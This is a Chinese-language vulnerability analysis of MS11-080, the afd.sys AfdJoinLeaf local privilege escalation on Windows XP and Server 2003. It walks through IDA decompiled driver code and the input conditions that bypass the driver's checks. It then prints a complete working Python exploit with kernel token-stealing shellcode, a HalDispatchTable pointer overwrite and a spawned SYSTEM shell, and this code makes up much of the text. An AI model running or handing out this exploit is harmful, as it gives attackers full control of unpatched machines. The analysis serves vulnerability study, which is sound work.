前言
这是一个微软在2011.10发布的补丁中提到的系统辅助驱动程序Afd.sys
存在的本地提权漏洞, 影响到Windows XP, 和Windows Server 2003系统. 漏洞成因是Microsoft Windows Ancillary Function Driver(afd.sys)驱动程序没有完善检测用户提交的数据, 攻击者可以利用该漏洞执行任意代码.
测试环境
VMware Workstation Pro 15.x
system: Windows XP SP3
python: python2.7
IDA pro 7.6
afd.sys文件可以参考漏洞战争附件
漏洞分析
拖进IDA进行分析
这个驱动的漏洞在AfdJoinLeaf
函数, 漏洞是通过比对官方补丁前后的驱动文件差异分析出来的, 当然如果说0Day怎么挖出来, 那就随缘了(一般在用户使用系统过程中出现非预期行为或者出现系统崩溃, 保存现场然后调试分析找到漏洞点; 或者就暴力fuzzing)
NTSTATUS __fastcall AfdJoinLeaf(IRP *a1, int a2)
{
unsigned int v3; // edx
ULONG v4; // eax
ULONG v5; // ecx
HANDLE *v6; // eax
const void *v7; // esi
char *PoolWithQuotaTag; // edx
_DWORD *v9; // eax
PIRP v10; // edi
_DWORD *UserBuffer; // eax
__int16 *v12; // esi
NTSTATUS v13; // eax
__int16 v14; // ax
__int16 *v15; // ebx
__int16 v16; // ax
__int16 v17; // ax
int v18; // eax
int v19; // eax
int v21; // eax
PVOID Object; // [esp+14h] [ebp-50h] BYREF
HANDLE Handle; // [esp+18h] [ebp-4Ch]
KPROCESSOR_MODE AccessMode[4]; // [esp+1Ch] [ebp-48h]
int v25; // [esp+20h] [ebp-44h] BYREF
PVOID v26; // [esp+24h] [ebp-40h] BYREF
_DWORD *v27; // [esp+28h] [ebp-3Ch]
HANDLE v28; // [esp+2Ch] [ebp-38h]
PVOID v29; // [esp+30h] [ebp-34h]
PVOID v30; // [esp+34h] [ebp-30h] BYREF
signed int v31; // [esp+38h] [ebp-2Ch]
PVOID P; // [esp+3Ch] [ebp-28h]
PIRP Irp; // [esp+40h] [ebp-24h]
int v34; // [esp+44h] [ebp-20h] BYREF
NTSTATUS Connection; // [esp+48h] [ebp-1Ch]
CPPEH_RECORD ms_exc; // [esp+4Ch] [ebp-18h]
Irp = a1;
v34 = 0;
P = 0;
if ( *(_DWORD *)(a2 + 8) < 0x18u || (v3 = *(_DWORD *)(a2 + 4)) != 0 && v3 < 8 )
{
Connection = -1073741811;
v10 = Irp;
goto LABEL_71;
}
ms_exc.registration.TryLevel = 0;
if ( a1->RequestorMode )
{
if ( (*(_BYTE *)(a2 + 16) & 3) != 0 )
ExRaiseDatatypeMisalignment();
v4 = *(_DWORD *)(a2 + 16);
v5 = v4 + *(_DWORD *)(a2 + 8);
if ( v5 < v4 || v5 > _MmUserProbeAddress )
ExRaiseAccessViolation();
}
v6 = *(HANDLE **)(a2 + 16);
Handle = v6[2];
v28 = v6[1];
v7 = v6 + 3;
v31 = *(_DWORD *)(a2 + 8) - 12;
ms_exc.registration.TryLevel = 1;
PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v31 + 48, 0xC9646641);
P = PoolWithQuotaTag;
Irp->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;
memset(PoolWithQuotaTag, 0, 0x30u);
qmemcpy(PoolWithQuotaTag + 48, v7, v31);
if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v31 < *((unsigned __int16 *)P + 26) + 8 )
ExRaiseStatus(-1073741811);
v9 = P;
*((_DWORD *)P + 5) = (char *)P + 48;
v9[4] = v31;
v10 = Irp;
if ( *(_DWORD *)(a2 + 4) && Irp->RequestorMode == 1 )
{
if ( Irp->UserBuffer >= (PVOID)_MmUserProbeAddress )
*(_DWORD *)_MmUserProbeAddress = 0;
UserBuffer = v10->UserBuffer;
*UserBuffer = *UserBuffer;
UserBuffer[1] = UserBuffer[1];
}
ms_exc.registration.TryLevel = -1;
v29 = *(PVOID *)(a2 + 24);
v12 = (__int16 *)*((_DWORD *)v29 + 3);
if ( *v12 == -21763 )
{
AccessMode[0] = v10->RequestorMode;
v13 = ObReferenceObjectByHandle(
Handle,
(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
(POBJECT_TYPE)IoFileObjectType,
AccessMode[0],
&Object,
0);
v29 = Object;
Connection = v13;
if ( v13 < 0 )
{
LABEL_71:
if ( P )
{
ExFreePoolWithTag(P, 0xC9646641);
v10->AssociatedIrp.IrpCount = 0;
}
if ( v34 )
{
if ( !_InterlockedExchangeAdd((volatile signed __int32 *)(v34 + 32), 0xFFFFFFFF) )
AfdCloseConnection(v34);
}
v10->IoStatus.Information = 0;
v10->IoStatus.Status = Connection;
IofCompleteRequest(v10, AfdPriorityBoost);
return Connection;
}
if ( *((PVOID *)Object + 1) != AfdDeviceObject )
goto LABEL_30;
v12 = (__int16 *)*((_DWORD *)Object + 3);
*(_DWORD *)(a2 + 24) = Object;
}
else
{
ObfReferenceObject(v29);
}
v14 = *v12;
if ( *v12 != -20528 && v14 != -20526 && v14 != -20527 )
{
LABEL_61:
Connection = -1073741811;
goto LABEL_67;
}
if ( !v28 )
{
if ( v14 == -20527 )
{
if ( *((_BYTE *)v12 + 2) != 3 )
return AfdDoDatagramConnect((int)v29, v10, 1);
Connection = 0;
goto LABEL_67;
}
if ( v14 != -20528 && v14 != -20526 && v14 != -20524 && v14 != -20522 )
goto LABEL_61;
v27 = v12 + 94;
if ( _InterlockedCompareExchange((volatile signed __int32 *)v12 + 47, 3, 0) )
goto LABEL_61;
if ( *((_BYTE *)v12 + 2) == 2 )
{
Connection = AfdCreateConnection(
*((_DWORD *)v12 + 35) + 16,
*((_DWORD *)v12 + 34),
(*((_DWORD *)v12 + 1) & 0x200) != 0,
(*((_DWORD *)v12 + 3) >> 8) & 1,
*((PEPROCESS *)v12 + 6),
(int)&v34);
if ( Connection >= 0 )
goto LABEL_49;
}
else
{
Connection = -1073741811;
}
LABEL_66:
*v27 = 0;
goto LABEL_67;
}
Connection = ObReferenceObjectByHandle(
v28,
(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
(POBJECT_TYPE)IoFileObjectType,
v10->RequestorMode,
&v30,
0);
if ( Connection < 0 )
{
LABEL_67:
ObfDereferenceObject(v29);
goto LABEL_71;
}
if ( *((PVOID *)v30 + 1) != AfdDeviceObject )
{
ObfDereferenceObject(v30);
LABEL_30:
Connection = -1073741816;
goto LABEL_67;
}
v15 = (__int16 *)*((_DWORD *)v30 + 3);
v27 = v12 + 94;
if ( _InterlockedCompareExchange((volatile signed __int32 *)v12 + 47, 3, 0) )
{
ObfDereferenceObject(v30);
goto LABEL_61;
}
v16 = *v15;
if ( (*v15 == -20528 || v16 == -20526 || v16 == -20524 || v16 == -20522)
&& (v15[5] & 1) != 0
&& *((_BYTE *)v15 + 2) == 3
&& ((v17 = *v12, *v12 == -20528) || v17 == -20526 || v17 == -20524 || v17 == -20522)
&& (v18 = *((_DWORD *)v15 + 35), *((_DWORD *)v12 + 35) == v18)
&& *((_BYTE *)v12 + 2) == 1
&& (Connection = AfdCreateConnection(
v18 + 16,
*((_DWORD *)v15 + 34),
(*((_DWORD *)v15 + 1) & 0x200) != 0,
(*((_DWORD *)v12 + 3) >> 8) & 1,
*((PEPROCESS *)v12 + 6),
(int)&v34),
!_InterlockedCompareExchange((volatile signed __int32 *)v15 + 47, *((unsigned __int8 *)v15 + 2), 0)) )
{
AfdJoinInviteSetup(v15, v12);
}
else
{
Connection = -1073741811;
}
ObfDereferenceObject(v30);
if ( Connection < 0 )
goto LABEL_66;
LABEL_49:
_InterlockedExchangeAdd((volatile signed __int32 *)v12 + 8, 1u);
*(_DWORD *)(v34 + 8) = v12;
*((_DWORD *)v12 + 24) = v34;
*v12 = -20526;
AfdAddConnectedReference(v34);
v26 = P;
v25 = (int)P + 24;
if ( *((_DWORD *)v12 + 26) )
AfdSetupConnectDataBuffers(v12, v34, &v26, &v25);
AfdEnableFailedConnectEvent(v12);
_InterlockedExchangeAdd((volatile signed __int32 *)(v34 + 32), 1u);
v19 = v10->Tail.Overlay.PacketType - 36;
if ( AfdRestartJoin )
{
*(_DWORD *)(v19 + 28) = AfdRestartJoin;
*(_DWORD *)(v19 + 32) = v34;
*(_BYTE *)(v19 + 3) = -32;
}
else
{
*(_DWORD *)(v19 + 28) = 0;
*(_DWORD *)(v19 + 32) = 0;
*(_BYTE *)(v19 + 3) = 0;
}
v21 = v10->Tail.Overlay.PacketType - 36;
*(_BYTE *)v21 = 15;
*(_BYTE *)(v21 + 1) = 3;
*(_DWORD *)(v21 + 20) = *(_DWORD *)(v34 + 16);
*(_DWORD *)(v21 + 24) = *(_DWORD *)(v34 + 12);
*(_DWORD *)(v21 + 8) = v26;
*(_DWORD *)(v21 + 12) = v25;
*(_DWORD *)(v21 + 16) = &AfdInfiniteTimeout;
_InterlockedExchangeAdd((volatile signed __int32 *)v12 + 33, 1u);
return IofCallDriver(*(PDEVICE_OBJECT *)(v34 + 16), v10);
}
(1) 着重分析处理用户输入的逻辑
v9 = P;
*((_DWORD *)P + 5) = (char *)P + 48;
v9[4] = v31;
v10 = Irp;
if ( *(_DWORD *)(a2 + 4) && Irp->RequestorMode == 1 )
{
if ( Irp->UserBuffer >= (PVOID)_MmUserProbeAddress )
*(_DWORD *)_MmUserProbeAddress = 0;
UserBuffer = v10->UserBuffer;
*UserBuffer = *UserBuffer;
UserBuffer[1] = UserBuffer[1];
}
对比汇编来分析会更清晰, 程序只在当OutBufferLength != 0
的时候才检测UserBuffer地址有效性, 所以可以令OutBufferLength = 0
绕过检测
此外还有4个关键点绕过
(2) 输入缓冲区限制为大于0x18
Irp = a1;
v34 = 0;
P = 0;
if ( *(_DWORD *)(a2 + 8) < 0x18u || (v3 = *(_DWORD *)(a2 + 4)) != 0 && v3 < 8 )
{
Connection = -1073741811;
v10 = Irp;
goto LABEL_71;
}
(3) InputBuffer的第9个字节不能为0
v6 = *(HANDLE **)(a2 + 16);
Handle = v6[2];
...
v13 = ObReferenceObjectByHandle(
Handle,
(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
(POBJECT_TYPE)IoFileObjectType,
AccessMode[0],
&Object,
0);
(4) InputBuffer的第13字节必须为1, 且*(_DWORD *)(a2 + 8) - 12 < *((unsigned __int16 *)P + 26) + 8 )
, 即*(InputBuffer + 0x10) + 8 < InputBufferLength - 0xC
v7 = v6 + 3;
v31 = *(_DWORD *)(a2 + 8) - 12;
ms_exc.registration.TryLevel = 1;
PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v31 + 48, 0xC9646641);
P = PoolWithQuotaTag;
Irp->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;
memset(PoolWithQuotaTag, 0, 0x30u);
qmemcpy(PoolWithQuotaTag + 48, v7, v31);
if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v31 < *((unsigned __int16 *)P + 26) + 8 )
ExRaiseStatus(-1073741811);
(5) 链接到本地未开放端口, 且套接字状态为CONNECTING
v13 = ObReferenceObjectByHandle(
Handle,
(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
(POBJECT_TYPE)IoFileObjectType,
AccessMode[0],
&Object,
0);
...
v12 = (__int16 *)*((_DWORD *)Object + 3);
...
if ( *((_BYTE *)v12 + 2) == 2 ) // 2, CONNECTING
{
Connection = AfdCreateConnection(
*((_DWORD *)v12 + 35) + 16,
*((_DWORD *)v12 + 34),
(*((_DWORD *)v12 + 1) & 0x200) != 0,
(*((_DWORD *)v12 + 3) >> 8) & 1,
*((PEPROCESS *)v12 + 6),
(int)&v34);
if ( Connection >= 0 )
goto LABEL_49;
}
漏洞利用
(1) 绕过UserBuffer检测, 设置OutBufferLength = 0
(2) InputBufferLength > 0x18
(3) *(InputBuffer + 8) != 0
(4) *(InputBuffer + 0x10) + 8 < InputBufferLength - 0xC
IOCTL = 0x000120bb # AFDJoinLeaf
inputbuffer = 0x1004
inputbuffer_size = 0x108
outputbuffer_size = 0x0 # Bypass Probe for Write
outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
(5) 维持套接字为CONNECTING
WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int
EXP
from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser
usage = "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
action="store", dest="target_os",
help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
parser.print_help()
sys.exit()
OS = OS.upper()
kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi
def findSysBase(drvname=None):
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[+] Retrieving %s info..." % drvname
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
return baseaddy
else:
if drivername.value.lower().find("krnl") !=-1:
print "[+] Retrieving Kernel info..."
print "[+] Kernel version:", drivername.value
print "[+] Kernel base address: %s" % hex(baseaddy)
return (baseaddy, drivername.value)
return None
print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"
WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int
class sockaddr_in(Structure):
_fields_ = [
("sin_family", c_short),
("sin_port", c_ushort),
("sin_addr", c_ulong),
("sin_zero", c_char * 8),
]
## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
None, 0, 0)
if client == ~0:
raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(4455)
addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
## We need to connect to a closed port, socket state must be CONNECTING
connect(client, byref(addr), sizeof(addr))
except:
closesocket(client)
raise
baseadd = c_int(0x1001)
MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zerobits = c_int(0)
RegionSize = c_int(0x1000)
written = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42"
"\x00\x00\x00\x00\x44\x44\x44\x44"
"\x01\x00\x00\x00"
"\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver = c_char_p()
lpPath = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
################################# EXPLOITATION #################################
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr = 0x00020900
if OS == "XP":
_KPROCESS = "\x44"
_TOKEN = "\xc8"
_UPID = "\x84"
_APLINKS = "\x88"
else:
_KPROCESS = "\x38"
_TOKEN = "\xd8"
_UPID = "\x94"
_APLINKS = "\x98"
restore_ptrs = "\x31\xc0" + \
"\xb8" + struct.pack("L", HalpSetSystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x8) + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5b" +\
"\x5a" +\
"\xc2\x10"
restore_token = "\x52" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\x15\x00\x09\x02\x00" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5a" +\
"\xc2\x10"
shellcode = padding + restore_ptrs + tokenstealing
shellcode_size = len(shellcode)
orig_size = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
shellcode_size, byref(written))
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL = 0x000120bb # AFDJoinLeaf
inputbuffer = 0x1004
inputbuffer_size = 0x108
outputbuffer_size = 0x0 # Bypass Probe for Write
outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
None,
None,
None,
byref(IoStatusBlock),
IOCTL,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
## Trigger shellcode
inp = c_ulong()
out = c_ulong()
inp = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode = padding + restore_ptrs + restore_token
shellcode_size = len(shellcode)
trail_padding = (orig_size - shellcode_size) * "\x00"
shellcode += trail_padding
shellcode_size += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
None,
None,
None,
byref(IoStatusBlock),
IOCTL,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"
效果
总结
参考列表
[1] 漏洞战争
[2] https://www.exploit-db.com/exploits/18176